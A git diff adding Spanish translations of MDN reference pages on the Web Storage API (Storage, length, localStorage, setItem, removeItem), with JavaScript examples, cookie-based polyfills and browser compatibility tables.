+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-getitem', 'getItem()')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Todos los navegadores tienen diferentes niveles de capacidad tanto para localStorage como para sessionStorage. Aquí hay un <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">resumen detallado de la capacidad de almacenamiento para diversos navegadores</a>.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>desde iOS 5.1, Safari Mobile almacena los datos de localStorage en la carpeta de cache, que está sujeta a borrados ocasionales a petición del sistema operativo, típicamente cuando queda poco espacio.</p>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utilizando la API de Web Storage</a></p>
diff --git a/files/es/web/api/storage/index.html b/files/es/web/api/storage/index.html
new file mode 100644
index 0000000000..f5116f0fff
--- /dev/null
+++ b/files/es/web/api/storage/index.html
@@ -0,0 +1,162 @@
+---
+title: Almacenamiento
+slug: Web/API/Storage
+tags:
+  - API
+  - Almacenamiento
+  - Almacenamiento web
+  - Interface
+  - Reference
+  - TopicStub
+  - data
+translation_of: Web/API/Storage
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>La interfaz <code>Storage</code> de la API de almacenamiento web provee acceso al almacenamiento de la sesión o al almacenamiento local para un dominio en particular, permitiéndote por ejemplo añadir, modificar o eliminar elementos de dato almacenados.</p>
+
+<p>Si deseas manipular el almacenamiento de sesión para un dominio, debes llamar al método {{domxref("Window.sessionStorage")}}; Si deseas manipular el almacenamiento local para un dominio, debes llamar a {{domxref("Window.localStorage")}}.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("Storage.length")}} {{readonlyInline}}</dt>
+ <dd>Retorna un entero que representa el número de elementos almacenados en el objeto<code> Storage</code>.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("Storage.key()")}}</dt>
+ <dd>Cuando se le pasa un número n, éste método retorna el nombre de la enésima clave en el almacenamiento.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Storage.getItem()")}}</dt>
+ <dd>Cuando se le pasa un nombre de clave, retorna el valor de esa clave.</dd>
+ <dt>{{domxref("Storage.setItem()")}}</dt>
+ <dd>Cuando se le pasa un nombre de clave y un valor, añade dicha clave al almacenamiento, o la actualiza el valor de la clave si ya existe.</dd>
+ <dt>{{domxref("Storage.removeItem()")}}</dt>
+ <dd>Cuando se le pasa el nombre de una clave, eliminará dicha clave del almacenamiento.</dd>
+ <dt>{{domxref("Storage.clear()")}}</dt>
+ <dd>Cuando es invocado vacía todas las claves del almacenamiento.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Aquí tenemos un objeto <code>Storage</code> al llamar a <code>localStorage</code>. Primero probamos si el almacenamiento local contiene elementos de dato usando <code>!localStorage.getItem('bgcolor')</code>. Si lo hace, ejecutamos una función llamada <code>setStyles()</code> que obtiene los elementos usando {{domxref("localStorage.getItem()")}} y utiliza dichos valores para actualizar los estilos de la página. Si no, ejecutamos otra función, <code>populateStorage()</code>, que utiliza {{domxref("localStorage.setItem()")}} para definir los valores de los elementos, luego ejecuta <code>setStyles()</code>.</p>
+
+<pre class="brush: js">if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+
+function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+
+  setStyles();
+}
+
+function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Para ver la ejecución de esto como un ejemplo funcional completo, mira nuestra <a href="https://github.com/mdn/web-storage-demo">Demo de almacenamiento web</a>.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#the-storage-interface', 'Storage')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>3.2[1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] A partir de iOS 5.1, Safari Mobile almacena los datos de <code>localStorage</code> en la carpeta cache, que es sujeta a ser vaciada ocasionalmente a petición del SO, típicamente si hay poco espacio disponible.</p>
+
+<p>Todos los navegadores tienen diferentes niveles de capacidad tanto para localStorage y sessionStorage. Aquí hay un <a href="http://dev-test.nemikor.com/web-storage/support-test/">análisis detallado de todas las capacidades de almacenamiento para diferentes navegadores</a>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Usar la API de almacenamiento Web</a></p>
diff --git a/files/es/web/api/storage/length/index.html b/files/es/web/api/storage/length/index.html
new file mode 100644
index 0000000000..47434b2813
--- /dev/null
+++ b/files/es/web/api/storage/length/index.html
@@ -0,0 +1,117 @@
+---
+title: Storage.length
+slug: Web/API/Storage/length
+translation_of: Web/API/Storage/length
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>La propiedad de sólo lectura <code>length</code> de la interfaz {{domxref("Storage")}} devuelve un entero que indica el numero de elementos guardados en el objeto<code> Storage</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>aLength</em> = <em>storage</em>.length;</pre>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Entero</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>La siguiente función añade tres elementos de datos en el almacen local para el dominio actual, posteriormente, devuelve el número de elementos guardados en el almacen:</p>
+
+<pre class="brush: js">function populateStorage() {
+  localStorage.setItem('bgcolor', 'yellow');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'cats.png');
+
+  localStorage.length; // should return 3
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Para un ejemplo real, vea nuestro <a href="https://github.com/mdn/web-storage-demo">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificacíon</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-length', 'length')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Los navegadores tienen diferentes niveles de capacidad, tanto para el localStorage como para el sesionStorage. He aquí una <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">lista detallada de todas las capacidades de almacenamiento para varios navegadores</a>.</p>
+
+<div class="note">
+<p><strong>Nota:  </strong>desde la versión 5.1 de iOS, Safari Mobile almacena los datos de localStorage en la carpeta de la caché, la cual se vacía a intervalos, a criterio del sistema operativo, generalmente, si hay una falta de espacio.</p>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Uso de la Web Storage API</a></p>
diff --git a/files/es/web/api/storage/localstorage/index.html b/files/es/web/api/storage/localstorage/index.html
new file mode 100644
index 0000000000..80a54ff11b
--- /dev/null
+++ b/files/es/web/api/storage/localstorage/index.html
@@ -0,0 +1,135 @@
+---
+title: LocalStorage
+slug: Web/API/Storage/LocalStorage
+tags:
+  - Almacenamiento en Navegador
+  - Almacenamiento local
+translation_of: Web/API/Window/localStorage
+---
+<p><code>localStorage</code> (almacenamiento local) es lo mismo que<code> <a href="/en-US/docs/Web/API/sessionStorage">sessionStorage</a> </code>(almacenamiento de sesión), con las mismas reglas de mismo-origen aplicadas, pero es persistente a través de diferentes sesiones. <code>localStorage</code> se introdujo en la version Firefox 3.5.</p>
+
+<div class="note"><strong>Nota:</strong> Cuando el navegador está en modo de navegación privado, una nueva base de datos temporal se crea para guardar <em>datos </em>de almacenamiento local. Esta base de datos se vacía y descarta cuando salimos del modo de navegación privado.</div>
+
+<pre class="brush:js notranslate" style="font-size: 14px;">// Guardar datos al almacenamiento local actual
+localStorage.setItem("nombredeusuario", "John");
+
+// Acceder a datos almacenados
+alert( "nombredeusuario = " + localStorage.getItem("nombredeusuario"));</pre>
+
+<p class="note">La persistencia de <code>localStorage</code> lo hace útil para una variedad de cosas, incluyendo contadores de páginas, como se demuestra en <a href="http://codepen.io/awesom3/pen/Hlfma">este tutorial en Codepen</a>.</p>
+
+<h4 id="Compatibilidad" style="line-height: 18px; font-size: 1.28571428571429rem;">Compatibilidad</h4>
+
+<p>Los objetos de <code>Storage</code> (almacenamiento) son una adición reciente al estándar, por lo que pueden no estar presentes en todos los navegadores. Esto se puede solucionar si introduce uno de los dos códigos al principio de sus <em>scripts</em>, permitiendo el uso de el objeto <code>localStorage</code> en implementaciones que no lo soportan de forma nativa.</p>
+
+<p>Este algoritmo es una imitación exacta del objeto <code>localStorage</code>, pero hace uso de cookies.</p>
+
+<pre class="brush:js notranslate" style="font-size: 14px;">if (!window.localStorage) {
+  Object.defineProperty(window, "localStorage", new (function () {
+    var aKeys = [], oStorage = {};
+    Object.defineProperty(oStorage, "getItem", {
+      value: function (sKey) { return sKey ? this[sKey] : null; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "key", {
+      value: function (nKeyId) { return aKeys[nKeyId]; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "setItem", {
+      value: function (sKey, sValue) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "length", {
+      get: function () { return aKeys.length; },
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "removeItem", {
+      value: function (sKey) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    this.get = function () {
+      var iThisIndx;
+      for (var sKey in oStorage) {
+        iThisIndx = aKeys.indexOf(sKey);
+        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
+        else { aKeys.splice(iThisIndx, 1); }
+        delete oStorage[sKey];
+      }
+      for (aKeys; aKeys.length &gt; 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
+      for (var aCouple, iKey, nIdx = 0, aCouples = document.cookie.split(/\s*;\s*/); nIdx &lt; aCouples.length; nIdx++) {
+        aCouple = aCouples[nIdx].split(/\s*=\s*/);
+        if (aCouple.length &gt; 1) {
+          oStorage[iKey = unescape(aCouple[0])] = unescape(aCouple[1]);
+          aKeys.push(iKey);
+        }
+      }
+      return oStorage;
+    };
+    this.configurable = false;
+    this.enumerable = true;
+  })());
+}
+</pre>
+
+<div class="note"><strong>Nota:</strong> El tamaño máximo de datos que se puede guardar está muy restringido por el uso de cookies. Con este algoritmo, utilize las funciones <code>localStorage.getItem()</code>, <code>localStorage.setItem()</code>, y <code>localStorage.removeItem()</code> para agregar, cambiar, o quitar una clave. El uso del método <code>localStorage.suClave</code> para obtener, establecer, o borrar una clave <strong>no está permitido con este código</strong>. También se puede cambiar el nombre y usarse sólo para gestionar las cookies de el documento sin importar el objeto localStorage.</div>
+
+<div class="note"><strong>Nota:</strong> Al cambiar la cadena <code style="background: rgb(204, 204, 204);">"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/"</code> a: <code style="background: rgb(204, 204, 204);">"; path=/"</code> (y al cambiar el nombre del objeto), esto se pasará a ser un <code>sessionStorage</code> <em>polyfill</em> en vez de un <code>localStorage</code> <em>polyfill</em>. Sin embargo, esta implementación compartirá valores almacenados a través de pestañas y ventanas del navegador (y sólo se borrará cuando todas las ventanas del navegador hayan sido cerradas), mientras que una implementación  <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">sessionStorage</span><span style="line-height: 1.5em;"> completamente compatible sólo restringirá los valores guardados al contexto actual del navegador.</span></div>
+
+<p>Esta es otra imitación menos exacta de el objeto <code>localStorage</code>, es más simple que la anterior, pero es compatible con navegadores antiguos, como Internet Explorer &lt; 8 (<strong>probado y funcional incluso en Internet Explorer 6</strong>). También hace uso de cookies.</p>
+
+<pre class="brush:js notranslate" style="font-size: 14px;">if (!window.localStorage) {
+  window.localStorage = {
+    getItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
+      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&amp;") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
+    },
+    key: function (nKeyId) {
+      return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]);
+    },
+    setItem: function (sKey, sValue) {
+      if(!sKey) { return; }
+      document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      this.length = document.cookie.match(/\=/g).length;
+    },
+    length: 0,
+    removeItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
+      document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      this.length--;
+    },
+    hasOwnProperty: function (sKey) {
+      return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&amp;") + "\\s*\\=")).test(document.cookie);
+    }
+  };
+  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
+}
+</pre>
+
+<div class="note"><strong>Nota:</strong> El tamaño máximo de datos que se puede guardar está muy restringido por el uso de cookies. Con este algoritmo, utilize las funciones <code>localStorage.getItem()</code>, <code>localStorage.setItem()</code>, y <code>localStorage.removeItem()</code> para agregar, cambiar, o quitar una clave. El uso del método <code>localStorage.suClave</code> para obtener, establecer, o borrar una clave <strong>no está permitido con este código</strong>. También se puede cambiar el nombre y usarse sólo para gestionar las cookies de el documento sin importar el objeto localStorage.</div>
+
+<div class="note"><strong>Nota:</strong> Al cambiar la cadena <code style="background: rgb(204, 204, 204);">"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/"</code> a: <code style="background: rgb(204, 204, 204);">"; path=/"</code> (y al cambiar el nombre del objeto), esto se volverá un <code>sessionStorage</code> <em>polyfill</em> en vez de un <code>localStorage</code> <em>polyfill</em>. Sin embargo, esta implementación compartirá valores almacenados a través de pestañas y ventanas del navegador (y sólo se borrará cuando todas las ventanas del navegador hayan sido cerradas), mientras que una implementación  <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">sessionStorage</span><span style="line-height: 1.5em;"> completamente compatible sólo restringirá los valores guardados al contexto actual del navegador.</span></div>
+
+<h4 id="Compatibilidad_y_relación_con_globalStorage" style="line-height: 18px; font-size: 1.28571428571429rem;">Compatibilidad y relación con globalStorage</h4>
+
+<p class="note"><code>localStorage</code> es lo mismo que <code>globalStorage[location.hostname]</code>, con la excepción de que tiene un ámbito de origen HTML5 (<em>esquema </em>+ <em>nombre del host </em>+ <em>puerto no estandar</em>), y <code>localStorage</code> es una instancia de <code>Storage</code>, al contrario que <code>globalStorage[location.hostname]</code>, que es una instancia de <code>StorageObsolete</code>, como se explica más adelante. Por ejemplo, <a class="external" href="http://example.com" rel="freelink">http://ejemplo.com</a> no puede acceder al mismo objeto <code>localStorage</code> que <a class="link-https" href="https://example.com" rel="freelink">https://ejemplo.com,</a> pero los dos pueden acceder al mismo elemento de <code>globalStorage</code>. --<code>localStorage</code> es una interfaz estándar mientras que <code>globalStorage</code> no lo es, así que no se debe depender de ella.</p>
+
+<p>Nótese que al establecer una propiedad en <code>globalStorage[location.hostname]</code> <strong>no</strong> la establece en <code>localStorage</code>, y al extender <code>Storage.prototype</code> no afecta a los elementos de <code>globalStorage</code>; sólo al extender <code>StorageObsolete.prototype</code> los afecta.</p>
+
+<h4 id="El_formato_de_Storage">El formato de Storage</h4>
+
+<p>Las claves y valores de <code>Storage</code> se guardan en el formato UTF-16 <a href="/en-US/docs/Web/API/DOMString">DOMString</a>, que usa 2 bytes por carácter.</p>
diff --git a/files/es/web/api/storage/removeitem/index.html b/files/es/web/api/storage/removeitem/index.html
new file mode 100644
index 0000000000..f597bd4d5a
--- /dev/null
+++ b/files/es/web/api/storage/removeitem/index.html
@@ -0,0 +1,142 @@
+---
+title: Storage.removeItem()
+slug: Web/API/Storage/removeItem
+tags:
+  - API
+  - Almacenamiento
+  - Almacenamiento web
+  - Referencia
+  - Storage
+  - Web Storage
+  - metodo
+translation_of: Web/API/Storage/removeItem
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>El método <code>removeItem()</code> de la interfaz {{domxref("Storage")}} elimina la clave cuyo nombre recibe por parámetro del almacenamiento. La interfaz <code>Storage</code> de la <a href="/es/docs/Web/API/API_de_almacenamiento_web">API de almacenamiento web</a> provee acceso al almacenamiento de la sesión (<code>sessionStorage</code>) o al almacenamiento local (<code>localStorage</code>).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><em>storage</em>.removeItem(<em>keyName</em>);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><em><u>keyName</u></em></dt>
+ <dd>Una {{domxref("DOMString")}} que contiene el nombre de la clave que se desea eliminar.</dd>
+</dl>
+
+<h3 id="Devuelve">Devuelve</h3>
+
+<p><em>Ningún valor.</em></p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>La siguiente función crea 3 elementos dentro del almacenamiento local y después elimina el elemento <code>image</code>.</p>
+
+<pre class="brush: js notranslate">function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+
+  localStorage.removeItem('image');
+}</pre>
+
+<p>De la misma manera se podría manipular el almacenamiento de sesión:</p>
+
+<pre class="brush: js notranslate">function populateSessionStorage() {
+  sessionStorage.setItem('bgcolor', 'red');
+  sessionStorage.setItem('font', 'Helvetica');
+  sessionStorage.setItem('image', 'myCat.png');
+
+  sessionStorage.removeItem('image');
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Para ver esto en un ejemplo real, vea nuestra <a href="https://github.com/mdn/web-storage-demo">Demo de Web Storage</a>.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-removeitem', 'Storage.removeItem')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Todos los navegadores tienen diferentes niveles de capacidad tanto para localStorage como para sessionStorage. Aquí hay un <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">resumen detallado de la capacidad de almacenamiento para diversos navegadores</a>.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>desde iOS 5.1, Safari Mobile almacena los datos de localStorage en la carpeta de cache, que está sujeta a borrados ocasionales a petición del sistema operativo, típicamente cuando queda poco espacio.</p>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utilizando la API de Web Storage</a></p>
diff --git a/files/es/web/api/storage/setitem/index.html b/files/es/web/api/storage/setitem/index.html
new file mode 100644
index 0000000000..f9d4ee0237
--- /dev/null
+++ b/files/es/web/api/storage/setitem/index.html
@@ -0,0 +1,136 @@
+---
+title: Storage.setItem()
+slug: Web/API/Storage/setItem
+tags:
+  - API
+  - Almacenamiento
+  - Almacenamiento web
+  - Storage
+  - Web Storage
+  - metodo
+translation_of: Web/API/Storage/setItem
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>El método <code>setItem()</code> de la interfaz {{domxref("Storage")}}, cuando reciba una clave y un valor, añadirá estos al almacén, o actualizará el valor si la clave ya existe.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>storage</em>.setItem(<em>keyName</em>, <em>keyValue</em>);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><em>keyName</em></dt>
+ <dd>Un {{domxref("DOMString")}} conteniendo la clave que se quiere crear/actualizar.</dd>
+ <dt><em>keyValue</em></dt>
+ <dd>Un {{domxref("DOMString")}} conteniendo el valor que se le quiere dar a la clave que se está creando/actualizando.</dd>
+</dl>
+
+<h3 id="Devuelve">Devuelve</h3>
+
+<p><em>No devuelve valor.</em></p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<p><code>setItem()</code> puede lanzar una excepción si el almacén esta lleno. Particularmente, en Safari Mobile (desde iOS 5) siempre lo hará cuando el usuario ingresa en modo privado (Safari determina una cuota de 0 bytes en modo privado, al contrario de otros navegadores, que permiten almacenamiento en modo privado, usando contenedores de información separados).<br>
+ Por lo tanto, los desarrolladores deben asegurarse de <strong>capturar siempre las posibles excepciones de <code>setItem()</code></strong>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>La siguiente función crea tres ítems dentro del almacenamiento local.</p>
+
+<pre class="brush: js">function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Para ver un ejemplo real, vea nuestro <a href="https://github.com/mdn/web-storage-demo">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-setitem', 'setItem()')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funcionalidad</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funcionalidad</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
